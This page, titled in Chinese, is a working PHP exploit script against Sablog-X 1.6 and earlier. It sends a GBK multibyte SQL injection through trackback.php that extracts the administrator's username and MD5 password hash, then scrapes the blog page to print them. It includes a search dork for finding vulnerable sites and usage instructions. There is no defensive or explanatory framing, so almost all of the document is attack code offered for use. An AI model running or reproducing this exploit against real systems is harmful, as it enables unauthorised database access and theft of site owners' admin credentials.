sablog 1.6 trackback.php转码函数注入漏洞

#!/usr/bin/php <?php print_r(' +---------------------------------------------------------------------------+ Sablog-X <= 1.6 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://www.wolvez.org dork: "Powered by SaBlog-X" +---------------------------------------------------------------------------+ '); /** * works regardless of php.ini settings */ if ($argc < 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path code host: target server (ip/hostname) path: path to sablog-x code: the last blog trackback gbk code Example: php '.$argv[0].' localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $code = $argv[3]; $arr = explode("\t", base64_decode($code)); if (count($arr) != 4) exit("Exploit Failed!\n"); $url = 'http://'.$host.$path.'?action=show&id='.$arr[0]; send(); preg_match('#<a\shref="1"\starget="_blank">([\S]+):([a-z0-9]{32})</a>#', file_get_contents($url), $hash); if ($hash) exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n"); else exit("Exploit Failed!\n"); function send() { global $host, $path, $code; $cmd = 'url=http://'.$host.$path.'&title=ryat%bf%27,'.time().',1,1,(SELECT CONCAT(username,0x3a,password) FROM sablog_users WHERE userid=1),'.time().',1,1)#&excerpt=ryat&blog_name=ryat'; $message = "POST ".$path."trackback.php?code=$code HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: $host\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>